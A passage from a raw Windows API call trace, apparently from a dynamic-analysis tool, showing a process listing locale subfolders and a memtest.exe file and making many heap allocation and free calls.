ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0116.294] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.294] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.294] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c48 [0116.295] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.295] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.295] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0116.295] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.295] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.295] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.295] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.295] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.295] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0116.295] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0116.295] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.295] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.295] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x214) returned 0x39f5118 [0116.295] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ce8 [0116.295] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6050 [0116.295] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6028 [0116.295] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6000 [0116.295] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f5fd8 [0116.295] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6168 [0116.295] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6190 [0116.295] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f61b8 [0116.295] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f61e0 [0116.295] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6208 [0116.295] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6230 [0116.295] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6258 [0116.295] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6280 [0116.295] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.295] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5fb0 | out: hHeap=0xd10000) returned 1 [0116.295] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5f88 | out: hHeap=0xd10000) returned 1 [0116.295] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6078 | out: hHeap=0xd10000) returned 1 [0116.295] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f60a0 | out: hHeap=0xd10000) returned 1 [0116.295] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f60c8 | out: hHeap=0xd10000) returned 1 [0116.296] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f60f0 | out: hHeap=0xd10000) returned 1 [0116.296] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6118 | out: hHeap=0xd10000) returned 1 [0116.296] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6140 | out: hHeap=0xd10000) returned 1 [0116.296] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d60 | out: hHeap=0xd10000) returned 1 [0116.296] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c70 | out: hHeap=0xd10000) returned 1 [0116.296] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c48 | out: hHeap=0xd10000) returned 1 [0116.296] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.296] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38e0b90 | out: hHeap=0xd10000) returned 1 [0116.296] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.296] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.296] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.296] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0116.296] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.296] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.296] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c48 [0116.296] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.296] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.296] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0116.296] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.296] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.296] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c70 [0116.296] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.296] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.296] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0116.296] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.296] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.296] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d60 [0116.296] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.296] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.296] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0116.296] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.296] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.297] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.297] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.297] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.297] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0116.297] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.297] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.297] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6140 [0116.297] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.297] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.297] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0116.297] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.297] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.297] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x310) returned 0x39f5338 [0116.297] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6118 [0116.297] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f60f0 [0116.297] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f60c8 [0116.297] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f60a0 [0116.297] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6078 [0116.297] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f5f88 [0116.297] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f5fb0 [0116.297] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f62a8 [0116.297] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f62d0 [0116.297] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f62f8 [0116.297] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6320 [0116.297] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6348 [0116.297] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6370 [0116.297] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6398 [0116.297] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f63c0 [0116.297] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f63e8 [0116.297] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6410 [0116.297] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6438 [0116.297] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6460 [0116.298] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.298] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6050 | out: hHeap=0xd10000) returned 1 [0116.298] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6028 | out: hHeap=0xd10000) returned 1 [0116.298] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6000 | out: hHeap=0xd10000) returned 1 [0116.298] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5fd8 | out: hHeap=0xd10000) returned 1 [0116.298] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6168 | out: hHeap=0xd10000) returned 1 [0116.298] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6190 | out: hHeap=0xd10000) returned 1 [0116.298] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f61b8 | out: hHeap=0xd10000) returned 1 [0116.298] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f61e0 | out: hHeap=0xd10000) returned 1 [0116.298] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6208 | out: hHeap=0xd10000) returned 1 [0116.298] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6230 | out: hHeap=0xd10000) returned 1 [0116.298] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6258 | out: hHeap=0xd10000) returned 1 [0116.298] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6280 | out: hHeap=0xd10000) returned 1 [0116.298] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.298] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c48 | out: hHeap=0xd10000) returned 1 [0116.298] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c70 | out: hHeap=0xd10000) returned 1 [0116.298] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d60 | out: hHeap=0xd10000) returned 1 [0116.298] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.298] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6140 | out: hHeap=0xd10000) returned 1 [0116.298] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5118 | out: hHeap=0xd10000) returned 1 [0116.298] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6140 [0116.298] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.298] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.298] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0116.298] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.298] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.298] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.298] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.298] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.298] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0116.298] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.298] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.298] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d60 [0116.299] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.299] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.299] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0116.299] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.299] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.299] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c70 [0116.299] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.299] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.299] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0116.299] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.299] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.299] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c48 [0116.299] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ae0 | out: hHeap=0xd10000) returned 1 [0116.299] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.299] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0116.299] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.299] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.299] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947bd0 | out: hHeap=0xd10000) returned 1 [0116.299] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947bd0 [0116.299] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.299] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.299] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.299] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.299] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.299] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.299] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.299] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.299] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.299] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.299] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.300] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.300] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.300] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.300] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.300] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.300] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.300] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.300] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.300] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.300] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.300] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.300] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.300] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.300] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.300] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.300] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.300] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f4110 [0116.300] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.300] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4110 | out: hHeap=0xd10000) returned 1 [0116.300] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.300] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.300] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.300] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.300] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) 